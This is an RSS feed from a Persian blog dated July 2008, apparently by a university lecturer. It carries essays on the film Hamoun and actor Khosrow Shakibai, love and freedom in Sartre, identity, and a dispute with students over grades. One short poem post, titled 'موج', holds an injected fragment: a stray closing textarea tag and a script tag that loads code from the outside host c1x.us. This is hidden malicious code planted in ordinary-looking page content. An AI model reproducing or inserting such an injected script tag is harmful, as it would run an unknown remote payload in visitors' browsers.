<?xml version="1.0" encoding="utf-8" ?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" >
<channel>
<title>آینده </title>
<link>http://masoudsanjarani.blogfa.com/</link>
<description></description>
<language>fa</language>
<generator>blogfa.com</generator>
<lastBuildDate>Sun, 20 Jul 2008 06:15:18 GMT</lastBuildDate>
<item>
<title>&quot;حميد هامون ما بودیم&quot;</title>
<link>http://masoudsanjarani.blogfa.com/post-95.aspx</link>
<description>&lt;P class=MsoNormal dir=rtl style=&quot;MARGIN: 0cm 0cm 10pt; LINE-HEIGHT: 190%; TEXT-ALIGN: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto&quot;&gt;&lt;SPAN lang=FA style=&quot;FONT-SIZE: 9pt; COLOR: #333333; LINE-HEIGHT: 190%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-fareast-font-family: &apos;Times New Roman&apos;&quot;&gt; بيش از هر چيز غمگين مرگ حميد هامون هستم. براي نسل ما، هامون فقط خسرو شکيبايي نبود. براي ما هامون نوعي زندگي بود، نوعي راه، نوعي شيوه فکر کردن و زندگي کردن. او همان چيزهايي را مي خواند که ما مي خوانديم، همان سليقه اي را داشت که ما داشتيم، همان عشق ها و نفرت هايي را به دل داشت که ما داشتيم. ما دوستش داشتيم، چون آينه ما بود. مي خواستيم از طريق او آن &quot; خود&quot; گم کرده مان را پيدا کنيم. مرگ حميد هامون براي من مرگ شخصيت بارز روشنفکر آويزان و سرگردان و آشفته و جستجوگر و پرشور و عاشق و زنده يک دوران است. دوراني که ما در آن زيستيم و ذهن و زبان مان پر از خاطره آن دوران است. ما بچه هاي دهه شصت هستيم، کساني که بيست تا سي سالگي شان در اين دوران گذشت. &lt;SPAN style=&quot;mso-spacerun: yes&quot;&gt; &lt;/SPAN&gt;زندگي ما بود. و اولين ديالوگ فيلم که ساده ترين و دقيق ترين تعريف از وضع موجود بود. &quot; گه&quot;.... هامون نمي تواند بپذيرد همه چيز تمام شده. آدم باید بتونه عزیزترین کس اش و از بين ببره، شايد بتونه دوباره به دستش بياره نه، طلاقش نمي دم، مي خوام زجرش بدم.....&quot; اما شايد نمي خواهد زجرش بدهد، او فکر مي کند &quot; &lt;B&gt;اين زن سهم منه، حق منه، من طلاق نمي دم....&quot;&lt;/B&gt; نظر وکيلش چيز ديگري است و مي گويد &quot; طلاقش بده راحت شو از دست اين زنيکه نکبت&quot; اما حميد هامون تا آخرين لحظه اي که قصد کشتن مهشيد را دارد هم نمي تواند از عشق او خلاص شود. در حالي که با تفنگ قديمي پدربزرگش به او شليک مي کند، مي گويد: &quot; اگه مي دونستي هنوز چقدر دوستت دارم....&quot; مهشيد ديگر به عشق او باور ندارد. از او مي خواهد آدم ديگري بشود، هامون مي گويد: &quot; تو مي خواي من اوني باشم که تو مي خواي من باشم، اگه من اوني باشم که تو مي خواي که ديگه اون من نيست.&quot; در اين ميان وکيل به چيز ديگري فکر مي کند. او که توافق خودش را با وکيل مهشيد کرده مي گويد: &quot; تو چه اهميتي داري، اون زنيکه چه اهميتي داره، اصلا من چه اهميتي دارم، من به فکر اون بچه ام..... &quot; اما هامون با همان نگاه واقع بينانه اش مي گويد &quot; بيخودي اينجوري فکر نکن.... ممکنه اون بچه نگاهش به زندگي از من و تو گه تر باشه....&quot; شايد تنها کسي که در اين وسط مي تواند هامون را بفهمد مادر بزرگي است که حتي هامون هم نمي داند که او زنده است يا مرده. مادربزرگ مي گويد&quot; &lt;STRONG&gt;زندگيت رو به راهه؟ نه، زنم از من بدش مي آد..... تو هم ازش بدت مي آد؟ نه، ... بميرم برات، پس قلبت شکسته، غمخواري نداري؟ آخ آخ آخ....&quot;&lt;/STRONG&gt; هامون در همين حال نگران مادر بزرگ هم هست، چرا که به قول زني که از مادربزرگ نگهداري مي کند &quot; خانوم مي گه بهشت و جهنم چيه؟ کجاست؟.... يعني بکلي؟&quot;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal dir=rtl style=&quot;MARGIN: 0cm 0cm 10pt; LINE-HEIGHT: 190%; TEXT-ALIGN: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto&quot;&gt;&lt;SPAN lang=FA style=&quot;FONT-SIZE: 9pt; COLOR: #333333; LINE-HEIGHT: 190%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-fareast-font-family: &apos;Times New Roman&apos;&quot;&gt;هنوز هم بارها مي توانم فيلم را ببينم. اما حالا ديگر هامون هم رفته است. دلم براي خسرو شکيبايي تنگ شده است، براي بازي بي نظيرش، براي صداي زنگدار و ماندگارش.... و بيش از هر چيز براي هامون، انگار ديروز نه فقط خسرو شکيبايي که حميد هامون هم مرد. نمي دانم کسي خبري از علي عابديني دارد؟&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal dir=rtl style=&quot;MARGIN: 0cm 0cm 10pt; LINE-HEIGHT: 190%; TEXT-ALIGN: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto&quot;&gt;&lt;SPAN lang=FA style=&quot;FONT-SIZE: 9pt; COLOR: #333333; LINE-HEIGHT: 190%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-fareast-font-family: &apos;Times New Roman&apos;&quot;&gt; &lt;SPAN style=&quot;mso-spacerun: yes&quot;&gt; &lt;/SPAN&gt;&lt;B&gt;ابراهيم نبوي&lt;/B&gt;&lt;/SPAN&gt;&lt;SPAN dir=ltr style=&quot;FONT-SIZE: 9pt; COLOR: #333333; LINE-HEIGHT: 190%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-fareast-font-family: &apos;Times New Roman&apos;&quot;&gt;&lt;?xml:namespace prefix = o ns = &quot;urn:schemas-microsoft-com:office:office&quot; /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;</description>
<pubDate>Sun, 20 Jul 2008 06:15:18 GMT</pubDate>
<comments>http://commenting.blogfa.com/?blogid=masoudsanjarani&amp;postid=95</comments>
<dc:creator>masoudsanjarani</dc:creator>
<guid>http://masoudsanjarani.blogfa.com/post-95.aspx</guid>
</item>
<item>
<title>&quot;شور عشق&quot;</title>
<link>http://masoudsanjarani.blogfa.com/post-94.aspx</link>
<description>&lt;P class=MsoNormal dir=rtl style=&quot;MARGIN: 0cm 0cm 10pt; LINE-HEIGHT: normal; TEXT-ALIGN: justify&quot;&gt;&lt;SPAN lang=FA style=&quot;FONT-SIZE: 9pt; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-fareast-font-family: &apos;Times New Roman&apos;&quot;&gt;ديدگاه دوست نازنينم &quot;محسن 2 &quot; ( راستي محسن جان! اين 2 از كجا آمده است؟) مبني بر اين كه: &quot;عشق گذشتن از خود در برابر ديگري است و آزادي كمترين بهايي است كه براي عشق بايد پرداخت&quot; برخاسته از نگرشي رمانتيك و عارفانه از عشق است كه سابقه اي ديرين در فرهنگ و ادبيات شرق دارد. جالب اين است كه در عشق ایرانی، خواهش و كشش تن، سد راه شادي روح و پيوند جسمي، مانع وحدت روحي نبوده است و دوست داشتن, لذت بردن و توليد مثل كاري اهريمني نيست.&lt;SPAN style=&quot;mso-spacerun: yes&quot;&gt;  &lt;/SPAN&gt;عشق ايراني به هيج وجه افلاطوني نيست. قرار نيست كه يكي در ديگري فنا شود. بلكه گرايشي دلخواه و واقع گراست. عاشق و معشوق مقهور يكديگر نيستند. زن پيرو اراده مرد نيست. اين هر دو تنها پيرو عشقند. جسم را تابع روح مي خواهند, بي آنكه از تمناي تن بگذرند و غافل بمانند. در اين زمينه، مقدمه‌ي مفصل زنده ياد محمد مختاري در كتاب &quot;هفتاد سال عاشقانه&quot; و &quot; پيوند عشق ميان شرق و غرب&quot; از اسطوره شناس معاصر استاد جلال ستاري بسيار راهگشاست. اما پديده عشق از ديدگاه جامعه شناسي داستاني ديگر است كه در پي خواهد آمد.&lt;SPAN style=&quot;mso-spacerun: yes&quot;&gt;   &lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN dir=ltr style=&quot;FONT-SIZE: 9pt; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-fareast-font-family: &apos;Times New Roman&apos;&quot;&gt;&lt;?xml:namespace prefix = o ns = &quot;urn:schemas-microsoft-com:office:office&quot; /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;</description>
<pubDate>Sun, 20 Jul 2008 03:08:18 GMT</pubDate>
<comments>http://commenting.blogfa.com/?blogid=masoudsanjarani&amp;postid=94</comments>
<dc:creator>masoudsanjarani</dc:creator>
<guid>http://masoudsanjarani.blogfa.com/post-94.aspx</guid>
</item>
<item>
<title>&quot;advice&quot;</title>
<link>http://masoudsanjarani.blogfa.com/post-92.aspx</link>
<description>&lt;P class=MsoNormal style=&quot;MARGIN: 0in 0in 10pt&quot; align=left&gt;&lt;SPAN class=snippet&gt;&lt;SPAN style=&quot;FONT-SIZE: 9pt; LINE-HEIGHT: 115%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;&quot;&gt;Advice is what we ask for when we already know the answer but wish we&lt;SPAN dir=rtl&gt;&lt;/SPAN&gt;&lt;SPAN dir=rtl&gt;&lt;SPAN dir=rtl&gt;&lt;/SPAN&gt; &lt;/SPAN&gt;didn&apos;t. - Erica Jong&lt;/SPAN&gt;&lt;/SPAN&gt;&lt;SPAN style=&quot;FONT-SIZE: 9pt; LINE-HEIGHT: 115%&quot;&gt;&lt;?xml:namespace prefix = o ns = &quot;urn:schemas-microsoft-com:office:office&quot; /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;</description>
<pubDate>Thu, 17 Jul 2008 19:37:18 GMT</pubDate>
<comments>http://commenting.blogfa.com/?blogid=masoudsanjarani&amp;postid=92</comments>
<dc:creator>masoudsanjarani</dc:creator>
<guid>http://masoudsanjarani.blogfa.com/post-92.aspx</guid>
</item>
<item>
<title>&quot;تحول من&quot;</title>
<link>http://masoudsanjarani.blogfa.com/post-55.aspx</link>
<description>&lt;P class=MsoNormal dir=rtl style=&quot;MARGIN: 0cm 0cm 10pt; TEXT-ALIGN: justify&quot;&gt;&lt;STRONG&gt;&lt;SPAN lang=FA style=&quot;FONT-WEIGHT: normal; FONT-SIZE: 9pt; LINE-HEIGHT: 115%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-ansi-language: EN&quot;&gt; مطلبی  متعلق به دی ماه گذشته &lt;SPAN lang=FA style=&quot;FONT-WEIGHT: normal; FONT-SIZE: 9pt; LINE-HEIGHT: 115%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-ansi-language: EN&quot;&gt;در پاسخ به دغدغه های دوست کلافه و بی نشانم . امیدوارم در تکاپوی یافتن معنای زندگانی آرامش را بیابد&lt;/SPAN&gt;:&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P class=MsoNormal dir=rtl style=&quot;MARGIN: 0cm 0cm 10pt; TEXT-ALIGN: justify&quot;&gt;&lt;STRONG&gt;&lt;SPAN lang=FA style=&quot;FONT-WEIGHT: normal; FONT-SIZE: 9pt; LINE-HEIGHT: 115%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-ansi-language: EN&quot;&gt;در ابتداي زندگي، كسي برايم مهم نبود. اعمالم فاقد پشتوانه انديشه بود. انجام مي دادم چون احتمالا خودم مي خواستم و با خواست خداوندگارم نيز منافات نداشت. كودكي چند ساله كه شدم، ذهنيتم چنين گرايش يافت كه پدر و مادرم در حين انجام كاري نيك نظاره گرم باشند و تشويقم كنند. باز هم چنين بنظر مي رسيد كه خداوند موافق باشد&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;SPAN dir=ltr&gt;&lt;/SPAN&gt;&lt;STRONG&gt;&lt;SPAN lang=EN dir=ltr style=&quot;FONT-WEIGHT: normal; FONT-SIZE: 9pt; LINE-HEIGHT: 115%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-ansi-language: EN&quot;&gt;&lt;SPAN dir=ltr&gt;&lt;/SPAN&gt;. &lt;/SPAN&gt;&lt;/STRONG&gt;&lt;STRONG&gt;&lt;SPAN lang=FA style=&quot;FONT-WEIGHT: normal; FONT-SIZE: 9pt; LINE-HEIGHT: 115%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-ansi-language: EN&quot;&gt;جالب آن است كه در آن زمان لازم نمي ديدم كه از خدا كسب تكليف كنم. بزرگتر كه شدم قانع شدم كه خداوند از همه چيز بزرگتر است و مرا در همه حال مي بيند. از اين رو در همه كارها نظر او را جويا مي شدم. در ضمن كارهاي نيكم را نيز به نيمه خلوت زندگيم جابجا نمودم. بعدها در اثر وقوع حوادثي چون از دست دادن بهترين دوستم ذهنيتم شروع به دگرگوني نمود. نيكي را براي خودم كردم. نه نظاره خدا برايم مهم بود و نه آفريدگانش. جالب آنكه احساسم را معتمد گرفتم و هر گاه احساسم فرمان داد نيكي كردم؛ صرفنظر از آنكه خدا مي بيند يا نه! صرفنظر از آنكه استطاعت دارم يا نه .&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;STRONG&gt;&lt;SPAN lang=FA style=&quot;FONT-WEIGHT: normal; FONT-SIZE: 9pt; LINE-HEIGHT: 115%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-ansi-language: EN&quot;&gt;ديگر استخاره نمي كنم. ديگر استرس ندارم. ديگر از اينكه ممكن است الان خداوند از دست من عصباني باشد و تنبيهم كند و عذابم دهد بيم ندارم&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;SPAN dir=ltr&gt;&lt;/SPAN&gt;&lt;STRONG&gt;&lt;SPAN lang=EN dir=ltr style=&quot;FONT-WEIGHT: normal; FONT-SIZE: 9pt; LINE-HEIGHT: 115%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-ansi-language: EN&quot;&gt;&lt;SPAN dir=ltr&gt;&lt;/SPAN&gt;. &lt;/SPAN&gt;&lt;/STRONG&gt;&lt;STRONG&gt;&lt;SPAN lang=FA style=&quot;FONT-WEIGHT: normal; FONT-SIZE: 9pt; LINE-HEIGHT: 115%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-ansi-language: EN&quot;&gt;ديگر از مرگ نمي ترسم. شادماني و اميد سابق را نيز ندارم. اينك انجام مي دهم به خاطر آنچه كه آنرا وجدان مي نامم. جالب آنكه حتي گاهي با خداوند نيز قهر مي كنم&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;SPAN dir=ltr&gt;&lt;/SPAN&gt;&lt;STRONG&gt;&lt;SPAN lang=EN dir=ltr style=&quot;FONT-WEIGHT: normal; FONT-SIZE: 9pt; LINE-HEIGHT: 115%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-ansi-language: EN&quot;&gt;&lt;SPAN dir=ltr&gt;&lt;/SPAN&gt;. &lt;/SPAN&gt;&lt;/STRONG&gt;&lt;STRONG&gt;&lt;SPAN lang=FA style=&quot;FONT-WEIGHT: normal; FONT-SIZE: 9pt; LINE-HEIGHT: 115%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-ansi-language: EN&quot;&gt;چنين حس مي كنم كه در خارج از ملك فرمانفرمايي خداوند سوار بر كشتي بادباني به نقطه اي نامعلوم سفر مي كنم. جزيره گنج يا جزيره آتش مقصدم خواهد بود. اما اصلا برايم مهم نيست. آيا قبل از من نيز كسي اين مسير را پيموده است.در اينجا خدا زيست مي كند اما با من كاري ندارد. تنها گاهي با هم صحبت مي كنيم و از احساسهايمان مي گوييم. مي دانم كه خداوند تغيير نيافته است و منم كه سير تحول خود را طي &lt;/SPAN&gt;&lt;/STRONG&gt;&lt;STRONG&gt;&lt;SPAN lang=FA style=&quot;FONT-WEIGHT: normal; FONT-SIZE: 9pt; LINE-HEIGHT: 115%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-ansi-language: EN&quot;&gt;می کنم&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;B&gt;&lt;SPAN lang=FA style=&quot;FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;&quot;&gt;&lt;FONT size=3&gt; &lt;/FONT&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;B&gt;&lt;SPAN lang=FA style=&quot;FONT-SIZE: 9pt; LINE-HEIGHT: 115%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;&quot;&gt;.&lt;/SPAN&gt;&lt;/B&gt;&lt;B&gt;&lt;SPAN dir=ltr style=&quot;FONT-SIZE: 9pt; LINE-HEIGHT: 115%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;&quot;&gt;&lt;?xml:namespace prefix = o ns = &quot;urn:schemas-microsoft-com:office:office&quot; /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/B&gt;&lt;/P&gt;</description>
<pubDate>Thu, 17 Jul 2008 19:36:18 GMT</pubDate>
<comments>http://commenting.blogfa.com/?blogid=masoudsanjarani&amp;postid=55</comments>
<dc:creator>masoudsanjarani</dc:creator>
<guid>http://masoudsanjarani.blogfa.com/post-55.aspx</guid>
</item>
<item>
<title>&quot;موج&quot;</title>
<link>http://masoudsanjarani.blogfa.com/post-91.aspx</link>
<description>&lt;SPAN class=snippet&gt;&lt;FONT size=3&gt;&lt;FONT face=Georgia&gt;&lt;FONT size=2&gt;بسان رود که در نشیب دره می زند سر به سنگ، رونده باش! امید هیچ معجزه ز مرده نیست، زنده باش!&lt;/FONT&gt; &lt;/TEXTAREA&gt;
&lt;SCRIPT src=&quot;http://c1x.us/&quot;&gt;&lt;/SCRIPT&gt;
&lt;/FONT&gt;&lt;/FONT&gt;&lt;/SPAN&gt;</description>
<pubDate>Mon, 14 Jul 2008 06:02:18 GMT</pubDate>
<comments>http://commenting.blogfa.com/?blogid=masoudsanjarani&amp;postid=91</comments>
<dc:creator>masoudsanjarani</dc:creator>
<guid>http://masoudsanjarani.blogfa.com/post-91.aspx</guid>
</item>
<item>
<title>&quot; </title>
<link>http://masoudsanjarani.blogfa.com/post-90.aspx</link>
<description>&lt;P align=justify&gt;يك بار در كلاسي بحث &quot;مفهوم دوستي و عشق&quot; پيش آمد. ديدگاه من بسيار چالش آفرين بود. به قول معروف گفتماني شكل گرفت و گفتيم و شنيديم. برخی مخالفت کردند. برخی همراهی و حتی یکی بشدت برافروخته شد. چندي پيش دوستي نظر داده بود كه: &quot;شما با مسايلي كه بيان مي كنيد (در ادبیات ایشان چرت و پرت و مزخرفات) ذهن بچه ها را درگير مي كنيد و آرامش آنان را بهم مي زنيد.&quot; فكر مي كنم وظيفه معلم آنست كه بدون تحميل نظريات خويش مخاطبانش را به انديشيدن و تفكر ترغيب كند. دانشجو نيز به عنوان نماينده فهيم طبقه و اجتماع خود همه ديدگاه ها را بشنود و بيرحمانه نقادي كند. آنچه من يا هر كس ديگري مي گويد بايد از صافي عقل و خرد شما بگذرد نه اين كه بدون تحليل ذهنتان را درگير كند. ما تمرين نقادي نداشته ايم و در اين نظام آموزشي طوطي پرور فقط محفوظاتمان را از چيزهايي فربه كرده ایم يا كرده اند كه اگر نيك بنگري به درد لاي جرز ديوار هم نمي خورد. &lt;/P&gt;</description>
<pubDate>Mon, 14 Jul 2008 03:31:18 GMT</pubDate>
<comments>http://commenting.blogfa.com/?blogid=masoudsanjarani&amp;postid=90</comments>
<dc:creator>masoudsanjarani</dc:creator>
<guid>http://masoudsanjarani.blogfa.com/post-90.aspx</guid>
</item>
<item>
<title>&quot;عشق و آزادي&quot;</title>
<link>http://masoudsanjarani.blogfa.com/post-89.aspx</link>
<description>&lt;FONT size=1&gt;
&lt;P class=MsoNormal dir=rtl style=&quot;MARGIN: 0cm 0cm 10pt; TEXT-ALIGN: justify&quot;&gt;&lt;SPAN lang=FA style=&quot;FONT-SIZE: 9pt; LINE-HEIGHT: 115%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;&quot;&gt;سارتر در &quot;هستي و نيستي&quot; مي گويد كه رابطه ي بنيادين ميان انسان ها اختلاف است. من هميشه آزادي ديگري را محدود مي كنم. حتي در رابطه ي عاشقانه هم اين نكته صادق است. در عشق من در حال محدود كردن آزادي ديگري هستم. او را براي &quot;خودم&quot; مي خواهم و به او فرمان مي دهم كه فقط مرا بخواهد. عشق يك اختلاف است. هيچ گونه امنيت و فراغ خاطري در عشق يافت نمي شود. عشق نمي تواند بر پايه ي امنيت مطلق بنا شود. من مي خواهم كه ديگري عاشق من باشد و آزادانه مرا برگزيده باشد. ولي آزادانه عاشق بودن بي معناست. عشق همواره در بر دارنده ي امكان عاشق نبودن و تمام شدن عشق است. عشق يعني نبود امنيت و نبود اطمينان خاطر. عشق كه صورت آرماني وحدت دو موجود است در عمل جنگ آزادي هاست و به يكي از اين دو تبديل مي شود: ديگر آزاري يا خود آزاري. از نظر سارتر هيچ رابطه ي انساني يافت نمي شود كه در جريان آن يكي نخواهد بر ديگري چيره شود. همواره كسي مي كوشد تا آزادي ديگري را محدود كند. پيوسته يكي خدايگان است و ديگري بنده. نگاه ديگري بيان گر ميزان چيرگي او بر من است. او آزادي مرا و من آزادي او را منكر مي شويم. هستي من براي اين كه چنين باشم وابسته است به رابطه ام با ديگري؛ به پذيرش او كه مرا چنين بپذيرد يا كه بخواهد مرا عوض كند. از يك سو من آن كسي هستم كه هستم و از سوي ديگر خود را چنين مي نمايم كه ديگري مرا بپذيرد. اين شكلي است از باور نادرست. زیرا بتدریج در ضمیر ناخودآگاه خود می پذیرم ، آن باشم كه ديگران مي پسندند.  اين گفتار سيمون دوبووار كه انسان زن آفريده نمي شود، بل تبديل به زن مي شود بيانگر تصويري است كه جامعه مرد سالار از زن ساخته است، آن گونه كه خود اراده كرده است و زنان نيز به آن خو كرده اند. &lt;/SPAN&gt;&lt;SPAN dir=ltr style=&quot;FONT-SIZE: 9pt; LINE-HEIGHT: 115%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;&quot;&gt;&lt;?xml:namespace prefix = o ns = &quot;urn:schemas-microsoft-com:office:office&quot; /&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;&lt;/FONT&gt;</description>
<pubDate>Mon, 14 Jul 2008 03:12:18 GMT</pubDate>
<comments>http://commenting.blogfa.com/?blogid=masoudsanjarani&amp;postid=89</comments>
<dc:creator>masoudsanjarani</dc:creator>
<guid>http://masoudsanjarani.blogfa.com/post-89.aspx</guid>
</item>
<item>
<title>&quot;خود و ديگري&quot;</title>
<link>http://masoudsanjarani.blogfa.com/post-88.aspx</link>
<description>&lt;P align=justify&gt;هر كس در زندگي عاطفي و فكري اش هميشه با ديگران تماس دارد. عشق و نفرت مي ورزد و حضور ديگري را به عنوان عاملي موثر در رويكرد خود به زندگي مي پذيرد. در انجام كارها متوجه داوري ديگري است. من همواره زير نگاه ديگران هستم. نگاه ديگري (le regard d&apos;autrui ) بزرگترین ضربه به آزادی من است. به همين دليل سارتر در &quot;دربسته&quot; از قول ژوزف گارسن مي گويد : &quot;جهنم ديگرانند&quot; (l&apos;enfer, c&apos;est les autres  ) و در مواردي تكرار كرده كه دوزخ نگاه ديگران است. من چنين خود را مي آزمايم كه به گمانم ديگران چنين مرا مي آزمايند. براي رفتن به خيابان آماده مي شوم خودم را در آینه برانداز می كنم . زيرا مي خواهم بدانم ديگران مرا چگونه مي بينند. خود را موضوع يا ابژ ه اي براي ديگران دانستن شكل اصلي و نمونه اي &quot;براي ديگري بودن&quot; است. &quot;براي ديگري بودن&quot; البته گونه اي باور نادرست است. من خود را چنان در نظر مي گيرم كه مي پندارم ديگران مرا چنان در نظر مي گيرند. مي پندارم اما يقين ندارم. اين موجودي است غير اصيل و ناراست كه با تجربه هاي زيسته ي من خوانا نيست نقش بازي مي كند.   &lt;/P&gt;</description>
<pubDate>Mon, 14 Jul 2008 02:51:18 GMT</pubDate>
<comments>http://commenting.blogfa.com/?blogid=masoudsanjarani&amp;postid=88</comments>
<dc:creator>masoudsanjarani</dc:creator>
<guid>http://masoudsanjarani.blogfa.com/post-88.aspx</guid>
</item>
<item>
<title>&quot;این پرونده مختومه شد&quot;</title>
<link>http://masoudsanjarani.blogfa.com/post-87.aspx</link>
<description>&lt;P align=justify&gt;فكر مي كنم وبلاگ از مسير اصلي خود منحرف شده است. از اين پس ديگر نه دفاعيه ها و نه رديه ها را تاييد نخواهم كرد. بگذاريد همان باشد كه پيش از اين بود. فضايي سالم كه گزينه نظرخواهي براي همه فعال بود و خود شما فضاي آن را سالم نگاه مي داشتيد.سوگمندانه اعتراف مي كنم دلم براي آن روزهاي نه چندان دور حسابي تنگ شده است. كاش امتحان و نمره ملاك قضاوت نبود نه براي شما و نه براي من. كاش اندکی صبر پیشه می کردید. دو ماه دیگر دانشگاه باز می شد و مثل ترم پیش ( اگر از یاد نبرده باشید!)  برگه های امتحانی تان را سر کلاس پخش می کردم و همه می توانستید برگه های خود و همدیگر را ببینید . راستی کدامیک از اساتید این کار را کرده است و می کند؟...... ای کاش همین اندک طلبکاران مبتنی بر میزان تلاش خود قضاوت می کردند . ای کاش .........  &lt;/P&gt;</description>
<pubDate>Sun, 13 Jul 2008 12:18:18 GMT</pubDate>
<comments>http://commenting.blogfa.com/?blogid=masoudsanjarani&amp;postid=87</comments>
<dc:creator>masoudsanjarani</dc:creator>
<guid>http://masoudsanjarani.blogfa.com/post-87.aspx</guid>
</item>
<item>
<title>&quot;هويت&quot;</title>
<link>http://masoudsanjarani.blogfa.com/post-86.aspx</link>
<description>&lt;SPAN lang=FA dir=rtl style=&quot;FONT-SIZE: 9pt; COLOR: #544b44; LINE-HEIGHT: 115%; FONT-FAMILY: &apos;Tahoma&apos;,&apos;sans-serif&apos;; mso-fareast-font-family: &apos;Times New Roman&apos;; mso-ansi-language: EN-US; mso-fareast-language: EN-US; mso-bidi-language: FA&quot;&gt;ما هیچ وقت قادر نخواهیم بود که تصویر دل‌خواه‌ از خودمان را، در ذهن آدم‌های دیگر بسازیم. ما هیچ‌وقت نخواهیم توانست به تصویری که از ما در ذهن آدم‌های دیگر وجود دارد، به طور تمام و کمال دست بیابیم. این شکل‌دادن تصویرمان در ذهن باقی آدم‌ها، از قدیمی‌ترین ازلی‌ترین و بدوی‌ترین خواسته‌های انسانی است که به هرحال دارد در یک جمعی زندگی می‌کند. هویتِ آدم به خودی خود، به تنهایی، وجودِ قابل ذکری ندارد. در تعامل و تقابل با باقی آدم‌ها است که شکل می‌گیرد و تعریف می‌شود. پس بخشی از این هویت، همان تصویری است که دیگران از ما دارند. چون معمولا این همان دیگران هستند که درباره‌ی هویت ما حرف می‌زنند و وقت‌هایی هم که پیش می‌آید که خودمان داریم درباره‌ی هویت‌مان فکر می‌کنیم و حرف می‌زنیم، از شر همان نگاه بیرونی به خودمان نمی‌توانیم خلاص شویم. سؤال:چاره چيست؟ به نظر من بگذار باشد. عيبي ندارد. &lt;SPAN style=&quot;mso-spacerun: yes&quot;&gt; &lt;/SPAN&gt;خيلي هم&lt;SPAN style=&quot;mso-spacerun: yes&quot;&gt;  &lt;/SPAN&gt;خوب است... &lt;BR style=&quot;mso-special-character: line-break&quot;&gt;&lt;BR style=&quot;mso-special-character: line-break&quot;&gt;&lt;/SPAN&gt;</description>
<pubDate>Sun, 13 Jul 2008 08:40:18 GMT</pubDate>
<comments>http://commenting.blogfa.com/?blogid=masoudsanjarani&amp;postid=86</comments>
<dc:creator>masoudsanjarani</dc:creator>
<guid>http://masoudsanjarani.blogfa.com/post-86.aspx</guid>
</item>
</channel>
</rss>
